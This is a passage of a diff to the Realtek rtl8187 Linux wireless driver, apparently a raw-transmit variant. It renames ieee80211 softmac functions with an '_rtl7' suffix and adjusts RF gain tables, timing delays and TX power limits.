*ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-05-26 10:37:46.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-05-26 10:37:51.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-05-26 10:37:46.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-05-26 10:37:51.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-05-26 10:37:46.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 0 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, 